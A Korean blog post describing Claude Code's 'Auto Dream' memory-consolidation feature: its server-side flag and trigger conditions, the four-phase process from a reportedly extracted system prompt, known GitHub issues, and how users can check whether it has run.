&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEclxt%2FdJMcagLHXc0%2FBbUrmbbNNOLdHlYsXmkcc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;93&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;소스 코드가 말해주는 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;DEV Community의 akari_iku가 Claude Code 소스를 분석하여 밝혀낸 내용이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;파라미터&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본값&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;enabled&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;서버 사이드 플래그&lt;/b&gt;. 로컬 &lt;code&gt;settings.json&lt;/code&gt;으로는 변경 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minHours&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 실행 후 최소 24시간 경과 필요. 하루 1회가 최대&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minSessions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최소 5개 세션이 쌓여야 실행. 소량 메모리를 자주 정리하는 것을 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;서버 사이드 플래그의 코드네임은 &lt;code&gt;tengu_onyx_plover&lt;/code&gt;이다 (소스 코드 분석 기반, Anthropic 미공식 확인).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 서버에서 이 플래그를 켜야 동작한다. 실제로 일부 사용자에게는 이미 활성화되어 있다 &amp;mdash; GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;의 댓글에서 &lt;code&gt;&quot;Auto-dream: on &amp;middot; last ran 1d ago &amp;middot; /dream to run&quot;&lt;/code&gt;이 확인되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내부 시스템 프롬프트: 4단계 정리 프로세스&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 내부에서 추출된 것으로 알려진 Auto Dream 시스템 프롬프트는 다음과 같이 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI/claude-code-system-prompts&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;You are performing a dream &amp;mdash; a reflective pass over your memory files. Synthesize what you've learned recently into durable, well-organized memories so that future sessions can orient quickly.&quot;&lt;br /&gt;&lt;br /&gt;(지금&amp;nbsp;당신은&amp;nbsp;일종의&amp;nbsp;dream&amp;nbsp;단계,&amp;nbsp;즉&amp;nbsp;자신의&amp;nbsp;메모리&amp;nbsp;파일을&amp;nbsp;다시&amp;nbsp;검토하고&amp;nbsp;반추하는&amp;nbsp;과정을&amp;nbsp;수행하고&amp;nbsp;있습니다.&amp;nbsp;최근에&amp;nbsp;얻은&amp;nbsp;학습&amp;nbsp;내용을&amp;nbsp;정리&amp;middot;통합해서,&amp;nbsp;이후의&amp;nbsp;세션들이&amp;nbsp;빠르게&amp;nbsp;상황을&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있도록&amp;nbsp;오래&amp;nbsp;활용&amp;nbsp;가능한&amp;nbsp;구조적인&amp;nbsp;기억으로&amp;nbsp;정리하라는&amp;nbsp;뜻입니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 프롬프트의 프론트매터에는 &lt;code&gt;ccVersion: 2.1.83&lt;/code&gt;이 명시되어 있다 &amp;mdash; v2.1.83 시점에 캡처된 것이며, 이후 버전에서 내용이 변경됐을 수 있다. (출처: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI/claude-code-system-prompts&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 프롬프트에 따르면, Auto Dream은 4단계로 동작한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Orient&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;현재 메모리 파일 목록 파악, 프로젝트 맥락 이해&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gather recent signal&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최근 세션에서 학습한 내용 수집&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Consolidate&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;중복 병합, 모순 해결, 상대 날짜를 절대 날짜로 변환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Prune and Index&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;불필요한 항목 삭제, MEMORY.md 인덱스 200줄 이내 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시스템 프롬프트의 출처 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 시스템 프롬프트는 Piebald-AI가 Claude Code 바이너리에서 추출한 것으로 알려져 있다. Anthropic이 공식적으로 공개한 것이 아니므로, 실제 구현과 다를 수 있다. 다만 이 4단계 구조는 DEV Community 기사, claudefa.st, 다수의 독립 분석에서 일관되게 확인되었다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;GitHub 이슈 &amp;mdash; Auto Dream의 알려진 문제 (2026-03-31 기준)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38426&lt;/a&gt;: &lt;code&gt;/dream&lt;/code&gt; 명령어가 &quot;Unknown skill&quot;을 반환 &amp;mdash; &lt;b&gt;CLOSED&lt;/b&gt; (duplicate로 닫힘). 단, 댓글에서 &quot;auto-dream mechanism does appear to work&quot;라는 관찰 보고 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;: &lt;code&gt;autoDreamEnabled: true&lt;/code&gt;로 설정해도 &lt;code&gt;/dream&lt;/code&gt;이 동작하지 않음 &amp;mdash; OPEN. v2.1.85에서 한 사용자가 자동 실행 관찰 보고 (다른 사용자들은 여전히 미작동, [UNVERIFIED])&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38493&lt;/a&gt;: Auto Dream의 3가지 갭 &amp;mdash; 정체성(잘못된 프로젝트명 생성), 정확성(파일 수를 검증 없이 주장), 투명성(수정 이력 없음) &amp;mdash; OPEN&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비공식 우회책&lt;/b&gt;: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; 플러그인 (&lt;code&gt;/plugin marketplace add jl-cmd/claude-dream&lt;/code&gt;) &amp;mdash; 커뮤니티 제작, 공식 지원 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설계 의도: &quot;쓰고 잊기&quot; 문제의 해결&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory에는 구조적 한계가 있다. Claude가 MEMORY.md 인덱스를 간결하게 유지하고 상세 내용을 토픽 파일로 분리하는 기본 정리는 하지만, &lt;b&gt;모순 해결이나 오래된 항목 자동 삭제 같은 적극적 정리 메커니즘은 없다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;임시 작업 메모와 중요한 학습 내용이 구분 없이 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비슷한 내용이 반복 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;해결된 이슈나 포기한 기술 스택에 대한 메모가 삭제되지 않고 남는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;MEMORY.md가 200줄 한도에 도달해도 자동 정리가 안 된다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세션이 쌓일수록 메모리 품질이 &lt;b&gt;떨어진다&lt;/b&gt;. 이것이 사용자가 &quot;20세션 넘게 쓰다 보면 모순이 생긴다&quot;고 느끼는 이유이고, Auto Dream이 해결하려는 정확히 그 문제이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 출시되면 다음을 자동으로 수행할 것으로 예상된다. 아래는 추출된 시스템 프롬프트와 DEV Community 분석에 기반한 추정이며, Anthropic이 공식 확인한 내용이 아니다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;상대 날짜를 절대 날짜로 변환&lt;/b&gt; &amp;mdash; &quot;어제 Redis 쓰기로 했다&quot; &amp;rarr; &quot;2026-03-15에 Redis 쓰기로 했다&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;모순 항목 삭제&lt;/b&gt; &amp;mdash; Express에서 Fastify로 전환했으면 &quot;API는 Express&quot; 항목을 제거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;중복 병합&lt;/b&gt; &amp;mdash; 같은 빌드 명령어에 대한 여러 메모를 하나로 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;MEMORY.md 인덱스 200줄 이내 유지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면: &lt;b&gt;Auto Memory는 노트를 쓰는 손&lt;/b&gt;이고, &lt;b&gt;Auto Dream은 노트를 정리하는 잠&lt;/b&gt;이다. 현재는 손만 있고 잠이 없는 상태다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실행 조건 상세: 24시간 + 5세션이 정확히 무슨 뜻인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 자동으로 실행되려면 두 조건을 &lt;b&gt;동시에&lt;/b&gt; 만족해야 한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;조건&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;왜 이 조건인가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minHours: 24&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 Auto Dream 실행 후 &lt;b&gt;24시간 이상&lt;/b&gt; 경과&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하루에 여러 번 정리가 반복되어 토큰을 낭비하는 것을 방지. 하루 1회가 상한.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minSessions: 5&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 Auto Dream 실행 후 &lt;b&gt;5개 이상의 세션&lt;/b&gt;이 누적&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;정리할 내용이 충분히 쌓여야 의미 있다. 1~2번 사용 후 바로 정리하는 것은 비효율적.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;세션&quot;이란 무엇인가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;claude&lt;/code&gt; 명령어를 실행해서 시작하고, &lt;code&gt;exit&lt;/code&gt; 또는 Ctrl+C로 종료할 때까지의 한 번의 대화 단위가 1세션이다. 짧은 세션이든 긴 세션이든 종료 한 번 = 1세션으로 카운트된다. 세션 카운트는 Auto Memory가 저장하는 메타데이터에 의해 추적된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 조건은 &lt;b&gt;AND&lt;/b&gt; 관계다. 5세션이 쌓여도 24시간이 안 지났으면 실행되지 않고, 24시간이 지나도 5세션이 안 쌓였으면 실행되지 않는다. 다음 세션 시작 시점에 두 조건을 모두 만족하면 &lt;b&gt;세션이 시작될 때 자동으로 백그라운드에서 실행&lt;/b&gt;된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Auto Dream 실행 여부 확인 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실행 후 &lt;code&gt;/memory&lt;/code&gt; 메뉴에서 상태가 바뀐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# 아직 실행되지 않은 상태
Auto-dream: on &amp;middot; never &amp;middot; /dream to run

# 실행된 이후 (예: 13시간 전에 실행됨)
Auto-dream: on &amp;middot; last ran 13h ago &amp;middot; /dream to run&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;never&quot;가 &quot;last ran Xh ago&quot;로 바뀌면 Auto Dream이 실제로 동작한 것이다. 실행 후 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일 수정 시간도 갱신된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Auto Dream 활성화 사용자를 위한 테스트 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;Auto-dream: on&quot;이 표시되는 사용자라면 다음 순서로 직접 트리거할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Step 1: 현재 상태 확인
/memory
# &amp;rarr; &quot;Auto-dream: on &amp;middot; never&quot; 이면 조건 충족 대기 중

# Step 2: 세션을 5번 이상 쌓기
# claude를 시작하고 간단한 작업 후 종료를 반복 (하루에 몇 번이든 OK)
claude
# (작업 후 exit 또는 Ctrl+C)
# &amp;rarr; 이걸 5번 이상 반복

# Step 3: 24시간 대기
# 첫 세션 이후 24시간이 지나야 함
# (이미 오늘 세션을 여러 번 했다면 내일 claude를 시작할 때 실행될 수 있음)

# Step 4: 새 세션 시작
claude
# &amp;rarr; 세션 시작 시 백그라운드에서 Auto Dream이 자동 실행됨

# Step 5: 실행 확인
/memory
# &amp;rarr; &quot;Auto-dream: on &amp;middot; last ran 0h ago&quot; 또는 &quot;last ran Xh ago&quot;로 변경됐으면 성공&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 다만 아직 3월 31일 시점에도 기능업데이트가 되진 않았다. (하지만 1일 1~2업뎃 하는 클로드 코드라면 곧 출시하지 않을까? 기다려보자.)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /dream 을 실행하라고 하지만&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7iEuY%2FdJMcahqmQXu%2FX1g0ckBsKZYMqtC370ZBAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;112&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 결과는 오류&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKhsFT%2FdJMcacvP9ws%2FoIKB2j4enVkxdMqkkmi3mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;392&quot; height=&quot;180&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실행 후 반드시 확인할 것&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;last ran&quot;으로 바뀌었는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;~/.claude/projects/*/memory/MEMORY.md&lt;/code&gt;를 열어 내용이 정리됐는지 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모순되거나 잘못 병합된 항목이 있을 수 있으니 &lt;b&gt;수동 검토 필수&lt;/b&gt; (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38493&lt;/a&gt; 품질 이슈 참조)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;중요한 프로젝트라면 실행 전 &lt;code&gt;memory/&lt;/code&gt; 디렉토리를 백업해두는 것을 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;정확한 트리거 시점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 정확히 &quot;세션 시작 시&quot; 실행되는지, &quot;세션 종료 시&quot; 실행되는지는 공식 문서에 없다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;소스 코드 분석(akari_iku, DEV Community)에 따르면 세션 시작 직후 백그라운드로 실행되는 것으로 추정된다. &lt;code&gt;/memory&lt;/code&gt;에서 &quot;last ran 0h ago&quot;가 표시된다면 방금 세션에서 실행된 것이다.&lt;/p&gt;
&lt;/div&gt;
